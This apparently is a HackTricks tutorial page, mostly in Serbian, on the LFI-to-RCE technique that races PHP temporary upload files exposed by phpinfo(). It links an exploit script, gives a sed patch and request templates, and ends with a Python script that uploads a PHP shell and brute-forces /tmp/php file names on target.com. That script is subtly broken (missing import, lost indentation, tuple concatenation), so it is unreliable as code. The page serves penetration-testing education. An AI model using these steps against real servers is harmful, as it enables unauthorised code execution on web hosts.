LFI2RCE via phpinfo()

Support HackTricks

Da biste iskoristili ovu ranjivost, potrebni su vam: LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file_uploads = on" i server mora moći da piše u direktorijum "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Morate da ispravite exploit (promenite => u =>). Da biste to uradili, možete:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)

Teorija

Ako su uploadi dozvoljeni u PHP-u i pokušate da uploadujete fajl, ovaj fajl se čuva u privremenom direktorijumu dok server ne završi obradu zahteva, zatim se ovaj privremeni fajl briše.

Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremenog fajla koji je kreiran i iskoristite RCE pristupajući privremenom fajlu pre nego što bude obrisan.

U Windows-u fajlovi se obično čuvaju u C:\Windows\temp\php

U linux-u ime fajla obično je random i nalazi se u /tmp. Pošto je ime nasumično, potrebno je izvući ime privremenog fajla iz nekog izvora i pristupiti mu pre nego što bude obrisan. To se može uraditi čitanjem vrednosti varijable $_FILES unutar sadržaja funkcije "phpconfig()".

phpinfo()

PHP koristi bafer od 4096B i kada je pun, on se šalje klijentu. Zatim klijent može slati mnogo velikih zahteva (koristeći velike header-e) uploadujući php reverznu shell, čekati da se prvi deo phpinfo() vrati (gde je ime privremenog fajla) i pokušati da pristupi temp fajlu pre nego što php server obriše fajl iskorišćavajući LFI ranjivost.

Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Podržite HackTricks

Last updated